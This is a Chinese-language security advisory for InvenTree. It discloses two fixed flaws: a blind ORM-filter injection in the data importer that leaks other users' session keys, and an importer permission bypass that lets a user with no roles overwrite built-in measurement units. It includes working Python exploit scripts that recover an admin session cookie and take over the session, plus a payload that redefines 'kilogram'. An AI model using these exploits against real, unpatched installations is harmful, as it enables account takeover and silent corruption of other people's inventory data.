InvenTree 漏洞报告
软件名称:InvenTree
开发者或厂商:InvenTree
代码仓库:https://github.com/inventree/InvenTree
1. 数据导入器布尔盲注导致劫持其他用户会话
| 简要描述: | 登录用户向数据导入器的 field_filters 注入 ORM 查询路径,获得其他用户的 Django 会话 key,并接管该用户的会话。 |
|---|---|
| 影响版本: | 1.3.0 ~ 1.6.3 |
| 前置条件: | 攻击者拥有 stock.change_stockitemtestresult 权限(即 Stock 角色的 change 权限);目标用户存在活跃的 Web 会话。 |
| 修复: | InvenTree commit 2629cde |
漏洞成因
DataImportSession.field_filters 是登录用户可写的 JSON 字段,序列化器只做 JSON 解析,不限制键名。相关代码如下:
# src/backend/InvenTree/importer/serializers.py:136-150 commit 221af32fdb
def validate_field_filters(self, filters):
if filters is None:
return None
if type(filters) is not dict:
try:
filters = json.loads(str(filters))
except json.JSONDecodeError:
raise ValidationError(_('Invalid field filters'))
if type(filters) is not dict:
raise ValidationError(_('Invalid field filters'))
return filters
导入行在解析关联字段时,把这个字典原样展开进 QuerySet.filter()。相关代码如下:
# src/backend/InvenTree/importer/models.py:886-920 commit 221af32fdb
base_filters = (
self.session.field_filters.get(field_name, {})
if self.session.field_filters
else {}
)
...
queryset = model.objects.filter(**{lookup_field: value}, **base_filters)
results = list(queryset[:2])
if len(results) == 1:
return results[0].pk
return value
查询命中唯一对象时返回整数主键,未命中时返回原始字符串。这个类型差异会写入 DataImportRow.data,攻击者通过 /api/importer/row/ 读取行数据即可得到布尔结果。
/api/importer/session/<pk>/accept_fields/ 只检查被导入模型的 change 权限(对 StockItemTestResult 即 stock.change_stockitemtestresult),不检查关联模型。相关代码如下:
# src/backend/InvenTree/importer/api.py:114-125 commit 221af32fdb
if model_class := session.model_class:
if not check_user_permission(request.user, model_class, 'change'):
raise PermissionDenied()
session.accept_mapping()
stockitemtestresult 是可导入模型,其 user 字段在导入场景下可写。相关代码如下:
# src/backend/InvenTree/stock/serializers.py:230-237 commit 221af32fdb
if not self._is_importing:
self.fields['user'].read_only = True
self.fields['date'].read_only = True
攻击者因此可以把 user 字段的过滤条件扩展到 User 的反向关系 usersession,对 UserSession.session_key 做前缀匹配。session_key 就是 Django 的 sessionid Cookie 值,拿到它即可复用目标用户的会话。
复现环境搭建
InvenTree 官方仓库在 contrib/container/ 下提供了 docker-compose.yml、Caddyfile 和 .env。下载 1.6.3 版本的这三个文件:
mkdir inventree && cd inventree
BASE=https://raw.githubusercontent.com/inventree/InvenTree/1.6.3/contrib/container
curl -fsSLO $BASE/docker-compose.yml
curl -fsSLO $BASE/Caddyfile
curl -fsSL -o .env $BASE/.env
修改 .env 中的版本、数据目录、Web 端口和管理员账号:
sed -i 's/^INVENTREE_TAG=.*/INVENTREE_TAG=1.6.3/; s#^INVENTREE_EXT_VOLUME=.*#INVENTREE_EXT_VOLUME=./data#' .env
cat >> .env <<EOF
INVENTREE_HTTP_PORT=19313
INVENTREE_ADMIN_USER=admin
INVENTREE_ADMIN_PASSWORD=Admin12345.
INVENTREE_ADMIN_EMAIL=admin@example.com
EOF
初始化数据库并启动服务:
docker compose run --rm inventree-server invoke update
docker compose up -d
等待 http://localhost:19313/api/ 返回 200。用 admin 登录 http://localhost:19313/web,在 Admin Center 创建两个用户。用户 ivan 加入一个拥有 stock.change_stockitemtestresult 权限的用户组(在 UI 中即 Stock 角色的 change 权限);用户 carol 不加入任何组。为两个用户分别设置密码 Ivan12345. 和 Carol12345.。
创建零件 Widget,描述填写 secret;创建库位 Loc;创建数量为 7 的库存项;在 Widget 上创建测试模板 voltage。保持 admin 的登录会话。
复现过程
攻击者使用 ivan 的账号。该账号拥有 stock.change_stockitemtestresult 权限,但没有 part.view_part 权限,GET /api/part/ 返回 403。下面的脚本先验证 oracle,再逐字符恢复会话 key:
# exploit.py
import json
import re
import string
import time
import httpx
BASE = 'http://localhost:19313'
ATTACKER = ('ivan', 'Ivan12345.')
CHARS = string.ascii_lowercase + string.digits
def probe(regex):
with httpx.Client(base_url=BASE, auth=ATTACKER, timeout=30) as client:
response = client.post(
'/api/importer/session/',
files={
'data_file': (
'rows.csv',
'stock_item,template,user,result\n1,1,1,true\n',
'text/csv',
)
},
data={
'model_type': 'stockitemtestresult',
'field_filters': json.dumps({
'user': {'usersession__session_key__regex': regex}
}),
},
)
response.raise_for_status()
session = response.json()['pk']
client.post(f'/api/importer/session/{session}/accept_fields/').raise_for_status()
rows = []
for _ in range(30):
rows = client.get(f'/api/importer/row/?session={session}').json()
if rows:
break
time.sleep(1)
value = rows[0]['data'].get('user') if rows else None
client.delete(f'/api/importer/session/{session}/')
return value
def next_char(prefix):
candidates = CHARS
while len(candidates) > 1:
middle = len(candidates) // 2
left = candidates[:middle]
pattern = '^' + re.escape(prefix) + '[' + re.escape(left) + ']'
if probe(pattern) == 1:
candidates = left
else:
candidates = candidates[middle:]
return candidates
def main():
print('hit ', repr(probe('^[a-z0-9]')))
print('miss', repr(probe('^zzzz')))
key = ''
for _ in range(32):
key += next_char(key)
print('prefix', key)
print('recovered', key)
with httpx.Client(base_url=BASE, cookies={'sessionid': key}, timeout=30) as client:
me = client.get('/api/user/me/').json()
print('identity', me.get('username'), me.get('is_superuser'))
print('admin_config', client.get('/api/admin/config/').status_code)
if __name__ == '__main__':
main()
运行输出如下:
hit 1
miss '1'
prefix r
prefix rz
...
recovered 61mf3ss1shd2asvc4ms3sd4xn2xtew6i
identity admin True
admin_config 200
脚本在 192 次探测、约 279 秒内恢复出 32 位会话 key。最后两行表明,使用这个 key 作为 sessionid 时,接口返回的用户是 admin,且 is_superuser 为 True。
如果目标有多个活跃会话,User 到 UserSession 的连接会产生多行,lookup_related_field() 因结果不唯一而返回原始字符串,此时在 field_filters 中加入 usersession__id 限定单个会话即可,UserSession 的主键可以枚举。
在浏览器中打开开发者工具,在 localhost 下添加 Cookie sessionid,值为恢复出的 key,然后访问 http://localhost:19313/web。页面显示的管理员界面如下:

页面顶部显示 Superuser Mode,右上角用户名为 admin。整个过程中没有输入管理员口令。
2. 登录用户越权写入数据
| 简要描述: | 登录用户通过数据导入器绕过 staff-only 模型的角色校验,写入参考数据。以 CustomUnit 为例,零角色用户可以写入自定义单位并覆盖内置单位的定义,污染全局单位注册表。 |
|---|---|
| 影响版本: | 0.16.0 ~ 1.6.3 |
| 前置条件: | 攻击者拥有一个普通账号,不需要 is_staff,也不需要任何 InvenTree 角色。 |
| 修复: | InvenTree commit bc8c1ae |
漏洞成因
导入器在 accept_fields 中调用 check_user_permission()。该函数对 get_ruleset_ignore() 中的模型直接返回 True。相关代码如下:
# src/backend/InvenTree/users/permissions.py:163-167 commit 221af32fdb
table_name = f'{model._meta.app_label}_{model._meta.model_name}'
if table_name in get_ruleset_ignore():
return True
get_ruleset_ignore() 包含 common_customunit、common_projectcode、common_parametertemplate、common_parameter、common_inventreecustomuserstatemodel、taggit_tag 等模型。相关代码如下:
# src/backend/InvenTree/users/ruleset.py:196-210 commit 221af32fdb
'common_attachment',
'common_parametertemplate',
'common_parameter',
'common_customunit',
'common_dataoutput',
...
'common_projectcode',
...
'common_inventreecustomuserstatemodel',
这些模型在各自的 REST 接口上要求 staff 权限。以 CustomUnit 为例,接口声明如下:
# src/backend/InvenTree/common/api.py:618-623 commit 221af32fdb
class CustomUnitViewset(DataExportViewMixin, viewsets.ModelViewSet):
queryset = common.models.CustomUnit.objects.all()
serializer_class = common.serializers.CustomUnitSerializer
permission_classes = [IsStaffOrReadOnlyScope]
导入器对 CustomUnit 的 accept_fields 检查走的是 check_user_permission(),于是零角色用户可以直接通过导入器写入。在 0.16.x 中该端点甚至没有检查导入模型的 change 权限,0.17.0 起改为调用 check_user_permission(),但 common_customunit 位于忽略列表中,绕过依然成立,因此影响范围从 0.16.0 开始。
CustomUnit 在保存时会把自己拼进一个共享的 pint 注册表。相关代码如下:
# src/backend/InvenTree/common/models.py:1835-1842, 1879-1883 commit 221af32fdb
def fmt_string(self):
fmt = f'{self.name} = {self.definition}'
if self.symbol:
fmt += f' = {self.symbol}'
return fmt
...
registry.define(self.fmt_string())
validate_unique() 只检查其他 CustomUnit 行的 symbol,不检查内置单位。pint 允许把已有单位名当作别名,因此 symbol 填写 kilogram 时,kilogram 会被重新绑定到攻击者给出的定义。保存后 reload_unit_registry() 会从数据库重新加载所有 CustomUnit,恶意定义在服务重启后仍然生效。相关代码如下:
# src/backend/InvenTree/InvenTree/conversion.py:149-157 commit 221af32fdb
for cu in custom_units:
try:
fmt = cu.fmt_string()
reg.define(fmt)
hash_md5.update(fmt.encode('utf-8'))
except Exception as e:
logger.exception('Failed to load custom unit: %s - %s', cu.fmt_string(), e)
复现环境搭建
执行 docker compose down -v 并删除 data 目录,然后重新执行第 1 节的搭建步骤,只创建用户 carol,不加入任何组。该漏洞只依赖导入器和单位注册表,不需要零件、库存等示例数据。
复现过程
先确认 carol 没有写入 CustomUnit 的权限:
curl -s -o /dev/null -w '%{http_code}\n' \
-u carol:Carol12345. \
-H 'Content-Type: application/json' \
-d '{"name":"directunit","symbol":"db","definition":"1"}' \
http://localhost:19313/api/units/
返回 403。
接下来用同一个账号通过导入器写入。下面的脚本创建 customunit 导入会话,接受字段映射,然后提交行:
# exploit_customunit.py
import time
import httpx
BASE = 'http://localhost:19313'
ATTACKER = ('carol', 'Carol12345.')
with httpx.Client(base_url=BASE, auth=ATTACKER, timeout=30) as client:
response = client.post(
'/api/importer/session/',
files={
'data_file': (
'units.csv',
'name,symbol,definition\npwnunit,kilogram,1\n',
'text/csv',
)
},
data={'model_type': 'customunit'},
)
response.raise_for_status()
session = response.json()['pk']
client.post(f'/api/importer/session/{session}/accept_fields/').raise_for_status()
rows = []
for _ in range(30):
rows = client.get(f'/api/importer/row/?session={session}').json()
if rows:
break
time.sleep(1)
print(rows[0]['data'])
client.post(
f'/api/importer/session/{session}/accept_rows/',
json={'rows': [rows[0]['pk']]},
).raise_for_status()
time.sleep(2)
unit = client.get('/api/units/all/').json()['available_units']['kilogram']
print({key: unit[key] for key in ('name', 'isdimensionless')})
输出如下:
{'name': 'pwnunit', 'symbol': 'kilogram', 'definition': '1'}
{'name': 'kilogram', 'isdimensionless': True}
kilogram 原本是有量纲的质量单位,现在被改成零维单位。任何使用 kilogram 的换算都会失败或得到错误结果。
重启服务后再次读取:
docker restart inventree-server
curl -s -u carol:Carol12345. http://localhost:19313/api/units/all/ \
| jq '.available_units.kilogram | {name, isdimensionless}'
输出如下:
{
"name": "kilogram",
"isdimensionless": true
}
说明定义已经持久化。如果把 definition 从 1 改为 1 * gram,则 1 kilogram 会被换算为 1 gram,不会报错,所有以千克计的数量都会静默错误。管理员删除该 CustomUnit 行可以恢复,但在删除之前,错误换算会影响所有用户。